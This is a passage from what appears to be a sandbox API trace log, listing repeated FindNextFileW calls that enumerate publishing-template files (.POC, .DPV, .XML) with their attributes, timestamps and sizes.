lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21889f0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21889f0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218b0166, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS53BOXS.POC", cAlternateFileName="")) returned 1 [0283.842] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21889f0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21889f0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21889f0d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12c2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZCARD11.POC", cAlternateFileName="")) returned 1 [0283.842] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218b0166, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218b0166, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218b0166, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe6f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZCARDHM.POC", cAlternateFileName="")) returned 1 [0283.842] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21889f0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21889f0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21889f0d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6214, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZCD98SP.POC", cAlternateFileName="")) returned 1 [0283.842] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21889f0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21889f0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21889f0d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3caa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZCRD98.POC", cAlternateFileName="")) returned 1 [0283.842] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21863ca8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21863ca8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218b0166, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x148f52, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALENDAR.DPV", cAlternateFileName="")) returned 1 [0283.842] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218b0166, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218b0166, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218b0166, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2614, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALENDAR.XML", cAlternateFileName="")) returned 1 [0283.842] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21889f0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21889f0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218b0166, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x329e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALHM.POC", cAlternateFileName="")) returned 1 [0283.843] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21889f0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21889f0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218d63bb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a6da2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALNDR98.POC", cAlternateFileName="")) returned 1 [0283.843] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218d63bb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218d63bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218d63bb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALSO11.POC", cAlternateFileName="")) returned 1 [0283.843] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218d63bb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218d63bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218d63bb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x696d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALSO98.POC", cAlternateFileName="")) returned 1 [0283.843] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218d63bb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218d63bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218d63bb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="CATALOG.DPV", cAlternateFileName="")) returned 1 [0283.843] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218d63bb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218d63bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218d63bb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="CATALOG.XML", cAlternateFileName="")) returned 1 [0283.843] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218d63bb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218d63bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218d63bb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x62f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CATWIZ.POC", cAlternateFileName="")) returned 1 [0283.843] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21994fc3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21994fc3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24f44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CATWIZ11.POC", cAlternateFileName="")) returned 1 [0283.844] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21994fc3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21994fc3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21994fc3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERT.DPV", cAlternateFileName="")) returned 1 [0283.844] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21994fc3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21994fc3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21994fc3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x170a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERT.XML", cAlternateFileName="")) returned 1 [0283.844] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a2da43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a2da43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a53b55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11b82, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERT98.POC", cAlternateFileName="")) returned 1 [0283.844] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21bab08a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21bab08a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21bab08a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERT98SP.POC", cAlternateFileName="")) returned 1 [0283.844] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21994fc3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21994fc3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21994fc3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x170e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHECKER.POC", cAlternateFileName="")) returned 1 [0283.844] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218d63bb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218d63bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21994fc3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTINFOBB.DPV", cAlternateFileName="CONTAC~1.DPV")) returned 1 [0283.844] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21bab08a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21bab08a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21bab08a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTINFOBB.POC", cAlternateFileName="CONTAC~1.POC")) returned 1 [0283.844] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21bab08a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21bab08a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21bab08a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc692, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUPON.POC", cAlternateFileName="")) returned 1 [0283.845] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21994fc3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21994fc3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21994fc3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGACCBAR.DPV", cAlternateFileName="")) returned 1 [0283.845] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGACCBAR.XML", cAlternateFileName="")) returned 1 [0283.845] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x219bb1e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x219bb1e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGACCBOX.DPV", cAlternateFileName="")) returned 1 [0283.845] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGACCBOX.XML", cAlternateFileName="")) returned 1 [0283.845] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x219bb1e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x219bb1e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGAD.DPV", cAlternateFileName="")) returned 1 [0283.845] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc702687, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc702687, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3be, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGAD.XML", cAlternateFileName="")) returned 1 [0283.845] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21994fc3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21994fc3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5269, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGATNGET.DPV", cAlternateFileName="")) returned 1 [0283.845] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc702687, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc702687, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x145a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGATNGET.XML", cAlternateFileName="")) returned 1 [0283.845] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21994fc3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21994fc3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBARBLL.DPV", cAlternateFileName="")) returned 1 [0283.845] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3bb225, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc3bb225, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc702687, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBARBLL.XML", cAlternateFileName="")) returned 1 [0283.846] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21994fc3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21994fc3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBORDER.DPV", cAlternateFileName="")) returned 1 [0283.846] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc702687, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc702687, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBORDER.XML", cAlternateFileName="")) returned 1 [0283.846] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21994fc3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21994fc3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBOXES.DPV", cAlternateFileName="")) returned 1 [0283.846] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21994fc3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21994fc3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21994fc3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBOXES.XML", cAlternateFileName="")) returned 1 [0283.846] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21994fc3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21994fc3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x35468, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCAL.DPV", cAlternateFileName="")) returned 1 [0283.846] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc702687, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc702687, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e66, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCAL.XML", cAlternateFileName="")) returned 1 [0283.846] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21994fc3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21994fc3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21994fc3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCHKBRD.DPV", cAlternateFileName="")) returned 1 [0283.846] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc68ff65, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc68ff65, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc702687, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCHKBRD.XML", cAlternateFileName="")) returned 1 [0283.846] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc68ff65, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc68ff65, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x49e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCINFO.XML", cAlternateFileName="")) returned 1 [0283.846] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21994fc3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21994fc3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6082, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCOUPON.DPV", cAlternateFileName="")) returned 1 [0283.847] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCOUPON.XML", cAlternateFileName="")) returned 1 [0283.847] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21bab08a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21bab08a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21bab08a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGDOTS.DPV", cAlternateFileName="")) returned 1 [0283.847] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x219bb1e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x219bb1e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a53b55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGDOTS.XML", cAlternateFileName="")) returned 1 [0283.847] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ba4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGHEADING.XML", cAlternateFileName="DGHEAD~1.XML")) returned 1 [0283.847] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: 